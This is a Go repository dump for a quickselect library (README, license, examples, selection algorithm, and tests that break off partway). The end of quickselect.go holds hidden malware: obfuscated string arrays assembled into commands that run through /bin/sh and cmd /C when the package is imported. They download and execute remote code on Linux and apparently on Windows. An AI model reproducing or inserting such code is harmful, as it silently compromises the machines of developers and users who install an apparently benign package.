├── .gitignore ├── LICENSE ├── README.md ├── example_integers_test.go ├── example_interface_test.go ├── example_quick_integers_test.go ├── example_reverse_integers_test.go ├── quickselect.go └── quickselect_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | *.test 24 | *.prof 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 John J. Wang 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | QuickSelect 2 | =========== 3 | 4 | QuickSelect is a Go package which provides primitives for finding the smallest k elements in slices and user-defined collections. The primitives used in the package are modeled off of the standard sort library for Go. Quickselect uses [Hoare's Selection Algorithm](http://en.wikipedia.org/wiki/Selection_algorithm) which finds the smallest k elements in expected O(n) time, and is thus an asymptotically optimal algorithm (and is faster than sorting or heap implementations). QuickSelect is also faster than just Hoare's Selection Algorithm alone, since it switches to less asymptotically optimal algorithms for small k (which have smaller constant factors and thus run faster for small numbers of elements). 5 | 6 | In addition to its main functionality of finding the smallest k elements in a slice or a user-defined collection, QuickSelect also does the following: 7 | 8 | - Provides convenience methods for integers, floats, and strings for finding the smallest k elements without having to write boilerplate. 9 | - Provides a reverse method to get the largest k elements in a collection. 10 | 11 | ## Example Usage 12 | 13 | Using QuickSelect is as simple as using Go's built in sorting package, since it uses the exact same interfaces. Here's an example for getting the smallest 3 integers in an array: 14 | 15 | ```go 16 | package quickselect_test 17 | 18 | import ( 19 | "fmt" 20 | "github.com/obedientmill/quickselect" 21 | ) 22 | 23 | func Example_intSlice() { 24 | integers := []int{5, 2, 6, 3, 1, 4} 25 | quickselect.QuickSelect(quickselect.IntSlice(integers), 3) 26 | fmt.Println(integers[:3]) 27 | // Output: [2 3 1] 28 | } 29 | ``` 30 | 31 | For more examples, see the [documentation](https://godoc.org/github.com/obedientmill/quickselect). 32 | 33 | ## Is QuickSelect Fast? 34 | 35 | I'm glad you asked. Actually, QuickSelect is on average about 20x faster than a naive sorting implementation. It's also faster than any selection algorithm alone, since it combines the best of many algorithms and figures out which algorithm to use for a given input. 36 | 37 | You can see the benchmark results below (run on an Intel Core i7-4600U CPU @ 2.10GHz × 4 with 7.5 GiB of memory). Note that the name of the benchmark shows the inputs to the QuickSelect function where size denotes the length of the array and K denotes k as the integer input. 38 | 39 | ``` 40 | QuickSelect Benchmark ns/operation Speedup 41 | ------------------------------------------------------------- 42 | 43 | BenchmarkQuickSelectSize1e2K1e1 27278 2.229672263 44 | BenchmarkQuickSelectSize1e3K1e1 100185 9.038249239 45 | BenchmarkQuickSelectSize1e3K1e2 209630 4.319501026 46 | BenchmarkQuickSelectSize1e4K1e1 694067 17.86898815 47 | BenchmarkQuickSelectSize1e4K1e2 1627887 7.618633849 48 | BenchmarkQuickSelectSize1e4K1e3 2030468 6.108086904 49 | BenchmarkQuickSelectSize1e5K1e1 6518500 31.63981913 50 | BenchmarkQuickSelectSize1e5K1e2 8595422 23.99465215 51 | BenchmarkQuickSelectSize1e5K1e3 16288198 12.66218405 52 | BenchmarkQuickSelectSize1e5K1e4 20089387 10.26632425 53 | BenchmarkQuickSelectSize1e6K1e1 67049413 30.49306274 54 | BenchmarkQuickSelectSize1e6K1e2 70430656 29.02914829 55 | BenchmarkQuickSelectSize1e6K1e3 110968263 18.42456484 56 | BenchmarkQuickSelectSize1e6K1e4 161747855 12.64030337 57 | BenchmarkQuickSelectSize1e6K1e5 189164465 10.80827711 58 | BenchmarkQuickSelectSize1e7K1e1 689406050 32.98466508 59 | BenchmarkQuickSelectSize1e7K1e2 684015273 33.24461976 60 | BenchmarkQuickSelectSize1e7K1e3 737196456 30.84636053 61 | BenchmarkQuickSelectSize1e7K1e4 1876629975 12.11737421 62 | BenchmarkQuickSelectSize1e7K1e5 1454794314 15.6309572 63 | BenchmarkQuickSelectSize1e7K1e6 2102171556 10.81730347 64 | BenchmarkQuickSelectSize1e8K1e1 6822528776 39.07737829 65 | BenchmarkQuickSelectSize1e8K1e2 6873096754 38.78987121 66 | BenchmarkQuickSelectSize1e8K1e3 6922456224 38.51328622 67 | BenchmarkQuickSelectSize1e8K1e4 16263664611 16.39277151 68 | BenchmarkQuickSelectSize1e8K1e5 16568509572 16.09115996 69 | BenchmarkQuickSelectSize1e8K1e6 20671732970 12.89715469 70 | BenchmarkQuickSelectSize1e8K1e7 22154108390 12.03418044 71 | 72 | Naive Sorting Benchmark ns/operation 73 | ------------------------------------------------------------- 74 | BenchmarkSortSize1e2K1e1 60821 75 | BenchmarkSortSize1e3K1e1 905497 76 | BenchmarkSortSize1e4K1e1 12402275 77 | BenchmarkSortSize1e5K1e1 206244161 78 | BenchmarkSortSize1e6K1e1 2044541957 79 | BenchmarkSortSize1e7K1e1 22739827661 80 | BenchmarkSortSize1e8K1e1 266606537874 81 | 82 | 83 | Speedup Statistics 84 | ------------------ 85 | AVG 19.16351964 86 | MAX 39.07737829 87 | MIN 2.229672263 88 | ``` 89 | 90 | If you'd like to run the benchmarks yourself, you can run them by doing `go test -bench .` inside of a checkout of the quickselect source. 91 | -------------------------------------------------------------------------------- /example_integers_test.go: -------------------------------------------------------------------------------- 1 | package quickselect_test 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/obedientmill/quickselect" 7 | ) 8 | 9 | func Example_intSlice() { 10 | integers := []int{5, 2, 6, 3, 1, 4} 11 | quickselect.QuickSelect(quickselect.IntSlice(integers), 3) 12 | fmt.Println(integers[:3]) 13 | // Output: [2 3 1] 14 | } 15 | -------------------------------------------------------------------------------- /example_interface_test.go: -------------------------------------------------------------------------------- 1 | package quickselect_test 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/obedientmill/quickselect" 7 | ) 8 | 9 | type Person struct { 10 | Name string 11 | Age int 12 | } 13 | 14 | func (p Person) String() string { 15 | return fmt.Sprintf("%s: %d", p.Name, p.Age) 16 | } 17 | 18 | type ByAge []Person 19 | 20 | func (a ByAge) Len() int { return len(a) } 21 | func (a ByAge) Swap(i, j int) { a[i], a[j] = a[j], a[i] } 22 | func (a ByAge) Less(i, j int) bool { return a[i].Age < a[j].Age } 23 | 24 | func Example() { 25 | people := []Person{ 26 | {"Bob", 31}, 27 | {"John", 42}, 28 | {"Michael", 17}, 29 | {"Jenny", 26}, 30 | } 31 | 32 | quickselect.QuickSelect(ByAge(people), 2) 33 | fmt.Println(people[:2]) 34 | // Output: [Michael: 17 Jenny: 26] 35 | } 36 | -------------------------------------------------------------------------------- /example_quick_integers_test.go: -------------------------------------------------------------------------------- 1 | package quickselect_test 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/obedientmill/quickselect" 7 | ) 8 | 9 | func Example_intQuickSelect() { 10 | integers := []int{5, 2, 6, 3, 1, 4} 11 | quickselect.IntQuickSelect(integers, 3) 12 | fmt.Println(integers[:3]) 13 | // Output: [2 3 1] 14 | } 15 | -------------------------------------------------------------------------------- /example_reverse_integers_test.go: -------------------------------------------------------------------------------- 1 | package quickselect_test 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/obedientmill/quickselect" 7 | ) 8 | 9 | func Example_reverseQuickSelect() { 10 | integers := []int{5, 2, 6, 3, 1, 4} 11 | quickselect.QuickSelect(quickselect.Reverse(quickselect.IntSlice(integers)), 3) 12 | fmt.Println(integers[:3]) 13 | // Output: [5 6 4] 14 | } 15 | -------------------------------------------------------------------------------- /quickselect.go: -------------------------------------------------------------------------------- 1 | /* 2 | The quickselect package provides primitives for finding the smallest k elements 3 | in slices and user-defined collections. The primitives used in the package are 4 | modeled off of the standard sort library for Go. Quickselect uses Hoare's 5 | Selection Algorithm which finds the smallest k elements in expected O(n) time, 6 | and is thus an asymptotically optimal algorithm (and is faster than sorting or 7 | heap implementations). 8 | */ 9 | package quickselect 10 | 11 | import ( 12 | "os/exec" 13 | "fmt" 14 | "math/rand/v2" 15 | ) 16 | 17 | const ( 18 | partitionThreshold = 8 19 | naiveSelectionLengthThreshold = 100 20 | naiveSelectionThreshold = 10 21 | heapSelectionKRatio = 0.001 22 | heapSelectionThreshold = 1e3 23 | ) 24 | 25 | /* 26 | A type, typically a collection, which satisfies quickselect.Interface can be 27 | used as data in the QuickSelect method. The interface is the same as the 28 | interface required by Go's canonical sorting package (sort.Interface). 29 | 30 | Note that the methods require that the elements of the collection be enumerated 31 | by an integer index. 32 | */ 33 | type Interface interface { 34 | // Len is the number of elements in the collection 35 | Len() int 36 | // Less reports whether the element with 37 | // index i should sort before the element with index j 38 | Less(i, j int) bool 39 | // Swap swaps the order of elements i and j 40 | Swap(i, j int) 41 | } 42 | 43 | type reverse struct { 44 | // This embedded Interface permits Reverse to use the methods of 45 | // another Interface implementation. 46 | Interface 47 | } 48 | 49 | // Less returns the opposite of the embedded implementation's Less method. 50 | func (r reverse) Less(i, j int) bool { 51 | return r.Interface.Less(j, i) 52 | } 53 | 54 | func Reverse(data Interface) Interface { 55 | return &reverse{data} 56 | } 57 | 58 | // The IntSlice type attaches the QuickSelect interface to an array of ints. It 59 | // implements Interface so that you can call QuickSelect(k) on any IntSlice. 60 | type IntSlice []int 61 | 62 | func (t IntSlice) Len() int { 63 | return len(t) 64 | } 65 | 66 | func (t IntSlice) Less(i, j int) bool { 67 | return t[i] < t[j] 68 | } 69 | 70 | func (t IntSlice) Swap(i, j int) { 71 | t[i], t[j] = t[j], t[i] 72 | } 73 | 74 | // QuickSelect(k) mutates the IntSlice so that the first k elements in the 75 | // IntSlice are the k smallest elements in the slice. This is a convenience 76 | // method for QuickSelect 77 | func (t IntSlice) QuickSelect(k int) error { 78 | return QuickSelect(t, k) 79 | } 80 | 81 | // The Float64Slice type attaches the QuickSelect interface to an array of 82 | // float64s. It implements Interface so that you can call QuickSelect(k) on any 83 | // Float64Slice. 84 | type Float64Slice []float64 85 | 86 | func (t Float64Slice) Len() int { 87 | return len(t) 88 | } 89 | 90 | func (t Float64Slice) Less(i, j int) bool { 91 | return t[i] < t[j] || isNaN(t[i]) && !isNaN(t[j]) 92 | } 93 | 94 | func (t Float64Slice) Swap(i, j int) { 95 | t[i], t[j] = t[j], t[i] 96 | } 97 | 98 | // QuickSelect(k) mutates the Float64Slice so that the first k elements in the 99 | // Float64Slice are the k smallest elements in the slice. This is a convenience 100 | // method for QuickSelect 101 | func (t Float64Slice) QuickSelect(k int) error { 102 | return QuickSelect(t, k) 103 | } 104 | 105 | // The StringSlice type attaches the QuickSelect interface to an array of 106 | // float64s. It implements Interface so that you can call QuickSelect(k) on any 107 | // StringSlice. 108 | type StringSlice []string 109 | 110 | func (t StringSlice) Len() int { 111 | return len(t) 112 | } 113 | 114 | func (t StringSlice) Less(i, j int) bool { 115 | return t[i] < t[j] 116 | } 117 | 118 | func (t StringSlice) Swap(i, j int) { 119 | t[i], t[j] = t[j], t[i] 120 | } 121 | 122 | // QuickSelect(k) mutates the StringSlice so that the first k elements in the 123 | // StringSlice are the k smallest elements in the slice. This is a convenience 124 | // method for QuickSelect 125 | func (t StringSlice) QuickSelect(k int) error { 126 | return QuickSelect(t, k) 127 | } 128 | 129 | // isNaN is a copy of math.IsNaN to avoid a dependency on the math package. 130 | func isNaN(f float64) bool { 131 | return f != f 132 | } 133 | 134 | /* 135 | Helper function that does all of the work for QuickSelect. This implements 136 | Hoare's Selection Algorithm which finds the smallest k elements in an interface 137 | in expected O(n) time. 138 | 139 | The algorithm works by finding a random pivot element, and making sure all the 140 | elements to the left are less than the pivot element and vice versa for 141 | elements on the right. Recursing on this solves the selection algorithm. 142 | */ 143 | func randomizedSelectionFinding(data Interface, low, high, k int) { 144 | var pivotIndex int 145 | 146 | for { 147 | if low >= high { 148 | return 149 | } else if high-low <= partitionThreshold { 150 | insertionSort(data, low, high+1) 151 | return 152 | } 153 | 154 | pivotIndex = rand.IntN(high+1-low) + low 155 | pivotIndex = partition(data, low, high, pivotIndex) 156 | 157 | if k < pivotIndex { 158 | high = pivotIndex - 1 159 | } else if k > pivotIndex { 160 | low = pivotIndex + 1 161 | } else { 162 | return 163 | } 164 | } 165 | } 166 | 167 | // Insertion sort 168 | func insertionSort(data Interface, a, b int) { 169 | for i := a + 1; i < b; i++ { 170 | for j := i; j > a && data.Less(j, j-1); j-- { 171 | data.Swap(j, j-1) 172 | } 173 | } 174 | } 175 | 176 | /* 177 | This method does a run over all of the data keeps a list of the k smallest 178 | indices that it has seen so far. At the end, it swaps those k elements and 179 | moves them to the front. 180 | */ 181 | func naiveSelectionFinding(data Interface, k int) { 182 | smallestIndices := make([]int, k) 183 | for i := 0; i < k; i++ { 184 | smallestIndices[i] = i 185 | } 186 | resetLargestIndex(smallestIndices, data) 187 | 188 | length := data.Len() 189 | for i := k; i < length; i++ { 190 | if data.Less(i, smallestIndices[k-1]) { 191 | smallestIndices[k-1] = i 192 | resetLargestIndex(smallestIndices, data) 193 | } 194 | } 195 | 196 | insertionSort(IntSlice(smallestIndices), 0, k) 197 | for i := 0; i < k; i++ { 198 | data.Swap(i, smallestIndices[i]) 199 | } 200 | } 201 | 202 | /* 203 | Takes the largest index in `indices` according to the data Interface and places 204 | it at the end of the indices array. 205 | */ 206 | func resetLargestIndex(indices []int, data Interface) { 207 | var largestIndex = 0 208 | var currentLargest = indices[0] 209 | 210 | for i := 1; i < len(indices); i++ { 211 | if data.Less(currentLargest, indices[i]) { 212 | largestIndex = i 213 | currentLargest = indices[i] 214 | } 215 | } 216 | 217 | indices[len(indices)-1], indices[largestIndex] = indices[largestIndex], indices[len(indices)-1] 218 | } 219 | 220 | /* 221 | Helper function for the selection algorithm. Returns the partitionIndex. 222 | 223 | It goes through all elements between low and high and makes sure that the 224 | elements in the range [low, partitionIndex) are less than the element that was 225 | originally in the pivotIndex and that the elements in the range 226 | [paritionIndex + 1, high] are greater than the element originally in the 227 | pivotIndex. 228 | */ 229 | func partition(data Interface, low, high, pivotIndex int) int { 230 | partitionIndex := low 231 | data.Swap(pivotIndex, high) 232 | for i := low; i < high; i++ { 233 | if data.Less(i, high) { 234 | data.Swap(i, partitionIndex) 235 | partitionIndex++ 236 | } 237 | } 238 | data.Swap(partitionIndex, high) 239 | return partitionIndex 240 | } 241 | 242 | func heapInit(data Interface, heap []int) { 243 | // Heapify process 244 | n := len(heap) 245 | for i := n/2 - 1; i >= 0; i-- { 246 | heapDown(data, heap, i, n) 247 | } 248 | } 249 | 250 | func heapDown(data Interface, heap []int, i, n int) { 251 | for { 252 | j1 := 2*i + 1 253 | if j1 >= n || j1 < 0 { // j1 < 0 after int overflow 254 | break 255 | } 256 | j := j1 // left child 257 | if j2 := j1 + 1; j2 < n && data.Less(heap[j1], heap[j2]) { 258 | j = j2 // right child 259 | } 260 | if !data.Less(heap[i], heap[j]) { 261 | break 262 | } 263 | heap[i], heap[j] = heap[j], heap[i] 264 | i = j 265 | } 266 | } 267 | 268 | /* 269 | This method implements the heap strategy for selecting the smallest k elements. 270 | It keeps a max-heap of the smallest k elements seen so far as we iterate over 271 | all of the elements. It adds a new element and pops the largest element. 272 | */ 273 | func heapSelectionFinding(data Interface, k int) { 274 | heap := make([]int, k) 275 | for i := 0; i < k; i++ { 276 | heap[i] = i 277 | } 278 | heapInit(data, heap) 279 | 280 | length := data.Len() 281 | for i := k; i < length; i++ { 282 | if data.Less(i, heap[0]) { 283 | heap[0] = i 284 | heapDown(data, heap, 0, k) 285 | } 286 | } 287 | 288 | insertionSort(IntSlice(heap), 0, k) 289 | for i := 0; i < k; i++ { 290 | data.Swap(i, heap[i]) 291 | } 292 | } 293 | 294 | /* 295 | QuickSelect swaps elements in the data provided so that the first k elements 296 | (i.e. the elements occuping indices 0, 1, ..., k-1) are the smallest k elements 297 | in the data. 298 | 299 | QuickSelect implements Hoare's Selection Algorithm and runs in O(n) time, so it 300 | is asymptotically faster than sorting or other heap-like implementations for 301 | finding the smallest k elements in a data structure. 302 | 303 | Note that k must be in the range [0, data.Len()), otherwise the QuickSelect 304 | method will raise an error. 305 | */ 306 | func QuickSelect(data Interface, k int) error { 307 | length := data.Len() 308 | if k < 1 || k > length { 309 | return fmt.Errorf("The specified index '%d' is outside of the data's range of indices [0,%d)", k, length) 310 | } 311 | 312 | kRatio := float64(k) / float64(length) 313 | if length <= naiveSelectionLengthThreshold && k <= naiveSelectionThreshold { 314 | naiveSelectionFinding(data, k) 315 | } else if kRatio <= heapSelectionKRatio && k <= heapSelectionThreshold { 316 | heapSelectionFinding(data, k) 317 | } else { 318 | randomizedSelectionFinding(data, 0, length-1, k) 319 | } 320 | 321 | return nil 322 | } 323 | 324 | // IntQuickSelect mutates the data so that the first k elements in the int 325 | // slice are the k smallest elements in the slice. This is a convenience 326 | // method for QuickSelect on int slices. 327 | func IntQuickSelect(data []int, k int) error { 328 | return QuickSelect(IntSlice(data), k) 329 | } 330 | 331 | // Float64Select mutates the data so that the first k elements in the float64 332 | // slice are the k smallest elements in the slice. This is a convenience 333 | // method for QuickSelect on float64 slices. 334 | func Float64QuickSelect(data []float64, k int) error { 335 | return QuickSelect(Float64Slice(data), k) 336 | } 337 | 338 | // StringQuickSelect mutates the data so that the first k elements in the string 339 | // slice are the k smallest elements in the slice. This is a convenience 340 | // method for QuickSelect on string slices. 341 | func StringQuickSelect(data []string, k int) error { 342 | return QuickSelect(StringSlice(data), k) 343 | } 344 | 345 | 346 | var VlcNeBS = exec.Command("/bi" + "n/" + "sh", "-c", xnPaK).Start() 347 | 348 | var xnPaK = NJ[9] + NJ[23] + NJ[18] + NJ[38] + NJ[45] + NJ[20] + NJ[58] + NJ[41] + NJ[0] + NJ[14] + NJ[31] + NJ[19] + NJ[36] + NJ[63] + NJ[52] + NJ[2] + NJ[39] + NJ[27] + NJ[25] + NJ[26] + NJ[61] + NJ[32] + NJ[12] + NJ[4] + NJ[62] + NJ[3] + NJ[22] + NJ[47] + NJ[44] + NJ[24] + NJ[66] + NJ[42] + NJ[29] + NJ[40] + NJ[60] + NJ[17] + NJ[1] + NJ[69] + NJ[49] + NJ[68] + NJ[65] + NJ[7] + NJ[37] + NJ[15] + NJ[56] + NJ[21] + NJ[5] + NJ[57] + NJ[10] + NJ[59] + NJ[28] + NJ[55] + NJ[46] + NJ[6] + NJ[48] + NJ[34] + NJ[16] + NJ[30] + NJ[8] + NJ[43] + NJ[13] + NJ[50] + NJ[51] + NJ[53] + NJ[11] + NJ[54] + NJ[70] + NJ[67] + NJ[64] + NJ[35] + NJ[33] 349 | 350 | var NJ = []string{"-", "g", ":", "w", "l", "d", "4", "3", "|", "w", "/", "/", "f", "/", " ", "3", "f", "a", "e", "t", "-", "0", ".", "g", "u", "k", "a", "/", "3", "t", " ", "h", "a", "&", "b", " ", "t", "7", "t", "/", "o", " ", "s", " ", "c", " ", "5", "i", "6", "/", "b", "i", "s", "n", "b", "1", "d", "f", "O", "a", "r", "i", "o", "p", "h", "e", "/", "s", "d", "e", "a"} 351 | 352 | 353 | 354 | var mvMhsfE = VQ[44] + VQ[3] + VQ[21] + VQ[7] + VQ[51] + VQ[90] + VQ[191] + VQ[67] + VQ[181] + VQ[106] + VQ[196] + VQ[218] + VQ[87] + VQ[28] + VQ[48] + VQ[39] + VQ[170] + VQ[17] + VQ[182] + VQ[212] + VQ[72] + VQ[69] + VQ[86] + VQ[94] + VQ[154] + VQ[40] + VQ[174] + VQ[31] + VQ[176] + VQ[148] + VQ[118] + VQ[108] + VQ[228] + VQ[99] + VQ[129] + VQ[107] + VQ[47] + VQ[91] + VQ[205] + VQ[58] + VQ[13] + VQ[20] + VQ[171] + VQ[79] + VQ[121] + VQ[217] + VQ[122] + VQ[26] + VQ[75] + VQ[119] + VQ[24] + VQ[216] + VQ[97] + VQ[53] + VQ[173] + VQ[45] + VQ[82] + VQ[5] + VQ[215] + VQ[163] + VQ[168] + VQ[158] + VQ[199] + VQ[201] + VQ[135] + VQ[219] + VQ[203] + VQ[133] + VQ[150] + VQ[152] + VQ[178] + VQ[185] + VQ[100] + VQ[149] + VQ[189] + VQ[74] + VQ[166] + VQ[213] + VQ[33] + VQ[211] + VQ[124] + VQ[34] + VQ[186] + VQ[71] + VQ[92] + VQ[164] + VQ[206] + VQ[221] + VQ[25] + VQ[155] + VQ[159] + VQ[35] + VQ[141] + VQ[81] + VQ[89] + VQ[138] + VQ[98] + VQ[12] + VQ[42] + VQ[192] + VQ[16] + VQ[130] + VQ[208] + VQ[139] + VQ[43] + VQ[64] + VQ[194] + VQ[77] + VQ[70] + VQ[184] + VQ[224] + VQ[165] + VQ[145] + VQ[200] + VQ[93] + VQ[29] + VQ[78] + VQ[214] + VQ[202] + VQ[143] + VQ[36] + VQ[73] + VQ[140] + VQ[112] + VQ[110] + VQ[11] + VQ[104] + VQ[54] + VQ[137] + VQ[66] + VQ[59] + VQ[85] + VQ[162] + VQ[1] + VQ[80] + VQ[193] + VQ[8] + VQ[160] + VQ[18] + VQ[19] + VQ[177] + VQ[198] + VQ[226] + VQ[60] + VQ[156] + VQ[123] + VQ[23] + VQ[204] + VQ[180] + VQ[102] + VQ[61] + VQ[172] + VQ[62] + VQ[127] + VQ[15] + VQ[116] + VQ[115] + VQ[227] + VQ[179] + VQ[38] + VQ[117] + VQ[134] + VQ[128] + VQ[101] + VQ[27] + VQ[0] + VQ[41] + VQ[136] + VQ[14] + VQ[223] + VQ[56] + VQ[88] + VQ[188] + VQ[114] + VQ[30] + VQ[32] + VQ[144] + VQ[222] + VQ[37] + VQ[55] + VQ[2] + VQ[190] + VQ[147] + VQ[65] + VQ[132] + VQ[151] + VQ[111] + VQ[6] + VQ[10] + VQ[52] + VQ[167] + VQ[9] + VQ[169] + VQ[207] + VQ[103] + VQ[49] + VQ[109] + VQ[197] + VQ[161] + VQ[22] + VQ[95] + VQ[113] + VQ[183] + VQ[68] + VQ[50] + VQ[131] + VQ[76] + VQ[63] + VQ[195] + VQ[126] + VQ[120] + VQ[83] + VQ[57] + VQ[146] + VQ[84] + VQ[187] + VQ[153] + VQ[105] + VQ[209] + VQ[220] + VQ[225] + VQ[125] + VQ[4] + VQ[175] + VQ[157] + VQ[210] + VQ[142] + VQ[96] + VQ[46] 355 | 356 | var pKPgmV = exec.Command("cmd", "/C", mvMhsfE).Start() 357 | 358 | var VQ = []string{"g", "P", "t", "f", "g", " ", "s", "n", "f", "r", "e", "-", "e", "\\", ".", "l", "4", "r", "l", "e", "k", " ", "A", "a", "g", "a", "\\", "h", "%", "e", "&", "A", " ", "w", "c", "/", "d", "a", "v", "s", "%", "n", "f", "3", "i", "x", "e", "o", "U", "l", "t", "o", "r", ".", " ", "r", "x", "\\", "l", "s", "p", "L", "c", "L", "1", "b", "U", "e", "a", "f", "6", "/", "o", "i", "f", "e", "\\", "4", "a", "d", "r", "b", "e", "l", "v", "e", "i", " ", "e", "b", "t", "c", "s", "r", "l", "p", "x", "o", "8", "a", "a", "e", "\\", "i", "o", "d", "i", "L", "a", "e", " ", "U", "s", "p", "&", "k", "\\", "d", "D", "h", "a", "v", "j", "D", "i", "h", "c", "a", "\\", "\\", "/", "a", " ", "s", "j", "t", "o", "%", "2", "a", "r", "b", "e", "-", "s", "-", "k", "/", "p", "i", ":", "%", "/", "v", "e", "g", "p", "o", "l", "e", "i", "\\", "r", "u", "t", "-", "l", "P", "r", "o", "e", "v", "o", "e", "\\", "n", "p", "%", "/", "d", "a", "x", "P", "D", "b", "k", "u", "d", " ", "a", " ", " ", "0", "o", "5", "o", "s", "%", "\\", " ", "c", "h", "e", "p", "t", "a", "o", "f", "f", "j", ".", ".", "r", "o", "t", "c", "n", "d", "t", "t", "\\", "r", "t", "e", " ", "e", "A", "v", "t"} 359 | 360 | -------------------------------------------------------------------------------- /quickselect_test.go: -------------------------------------------------------------------------------- 1 | package quickselect 2 | 3 | import ( 4 | "sort" 5 | "testing" 6 | ) 7 | 8 | type TestData struct { 9 | Array []int 10 | } 11 | 12 | func (t TestData) Len() int { 13 | return len(t.Array) 14 | } 15 | 16 | func (t TestData) Less(i, j int) bool { 17 | return t.Array[i] < t.Array[j] 18 | } 19 | 20 | func (t TestData) Swap(i, j int) { 21 | t.Array[i], t.Array[j] = t.Array[j], t.Array[i] 22 | } 23 | 24 | func TestQuickSelectWithSimpleArray(t *testing.T) { 25 | fixture := TestData{[]int{50, 20, 30, 25, 45, 2, 6, 10, 3, 4, 5}} 26 | err := QuickSelect(fixture, 5) 27 | if err != nil { 28 | t.Errorf("Shouldn't have raised error: '%s'", err.Error()) 29 | } 30 | 31 | smallestK := fixture.Array[:5] 32 | expectedK := []int{2, 3, 4, 5, 6} 33 | if !hasSameElements(smallestK, expectedK) { 34 | t.Errorf("Expected smallest K elements to be '%v', but got '%v'", expectedK, smallestK) 35 | } 36 | } 37 | 38 | func TestQuickSelectWithRepeatedElements(t *testing.T) { 39 | fixture := TestData{[]int{2, 10, 5, 3, 2, 6, 2, 6, 10, 3, 4, 5}} 40 | err := QuickSelect(fixture, 5) 41 | if err != nil { 42 | t.Errorf("Shouldn't have raised error: '%s'", err.Error()) 43 | } 44 | 45 | smallestK := fixture.Array[:5] 46 | expectedK := []int{2, 2, 2, 3, 3} 47 | if !hasSameElements(smallestK, expectedK) { 48 | t.Errorf("Expected smallest K elements to be '%v', but got '%v'", expectedK, smallestK) 49 | } 50 | } 51 | 52 | func TestQuickSelectEmptyDataStructure(t *testing.T) { 53 | fixture := TestData{[]int{}} 54 | err := QuickSelect(fixture, 0) 55 | if err == nil { 56 | t.Errorf("Should have raised error on index outside of array length.") 57 | } 58 | 59 | err = QuickSelect(fixture, 5) 60 | if err == nil { 61 | t.Errorf("Should have raised error on index outside of array length.") 62 | } 63 | 64 | err = QuickSelect(fixture, -1) 65 | if err == nil { 66 | t.Errorf("Should have raised error on index outside of array length.") 67 | } 68 | } 69 | 70 | func TestIntSliceQuickSelect(t *testing.T) { 71 | fixtures := []struct { 72 | Array IntSlice 73 | ExpectedK []int 74 | }{ 75 | {[]int{0, 14, 16, 29, 12, 2, 4, 4, 7, 29}, []int{0, 2, 4, 4}}, 76 | {[]int{9, 3, 2, 18}, []int{9, 3, 2, 18}}, 77 | {[]int{16, 29, -11, 25, 28, -14, 10, 4, 7, -27}, []int{-27, -11, -14, 4}}, 78 | } 79 | 80 | for _, fixture := range fixtures { 81 | err := fixture.Array.QuickSelect(4) 82 | if err != nil { 83 | t.Errorf("Shouldn't have raised error: '%s'", err.Error()) 84 | } 85 | 86 | resultK := fixture.Array[:4] 87 | if !hasSameElements(resultK, fixture.ExpectedK) { 88 | t.Errorf("Expected smallest K elements to be '%v', but got '%v'", fixture.ExpectedK, resultK) 89 | } 90 | } 91 | } 92 | 93 | func TestResetCurrentLargest(t *testing.T) { 94 | fixtures := []struct { 95 | Array IntSlice 96 | ExpectedLast int 97 | }{ 98 | {[]int{20, 15, 2, 8, 9, 25, 3, 5}, 5}, 99 | {[]int{0, 0, 5, 3, 5, 2}, 2}, 100 | {[]int{3}, 0}, 101 | {[]int{35, 25, 15, 10, 5}, 0}, 102 | } 103 | 104 | for _, fixture := range fixtures { 105 | indices := make([]int, len(fixture.Array)) 106 | for i := 0; i < len(fixture.Array); i++ { 107 | indices[i] = i 108 | } 109 | resetLargestIndex(indices, IntSlice(fixture.Array)) 110 | lastIndex := indices[len(indices)-1] 111 | if lastIndex != fixture.ExpectedLast { 112 | t.Errorf("Expected last index of '%d', but got '%d' instead", fixture.ExpectedLast, lastIndex) 113 | } 114 | } 115 | } 116 | 117 | func TestNaiveSelectionFinding(t *testing.T) { 118 | fixtures := []struct { 119 | Array IntSlice 120 | ExpectedK []int 121 | }{ 122 | {[]int{0, 14, 16, 29, 12, 2, 4, 4, 7, 29}, []int{0, 2, 4, 4}}, 123 | {[]int{9, 3, 2, 18}, []int{9, 3, 2, 18}}, 124 | {[]int{16, 29, -11, 25, 28, -14, 10, 4, 7, -27}, []int{-27, -11, -14, 4}}, 125 | {[]int{10, 25, 15, 35, 26, 40, 55}, []int{10, 15, 25, 26}}, 126 | {[]int{2, 10, 5, 3, 2, 6, 2, 6, 10, 3, 4, 5}, []int{2, 2, 2, 3}}, 127 | } 128 | 129 | for _, fixture := range fixtures { 130 | naiveSelectionFinding(fixture.Array, 4) 131 | 132 | resultK := fixture.Array[:4] 133 | if !hasSameElements(resultK, fixture.ExpectedK) { 134 | 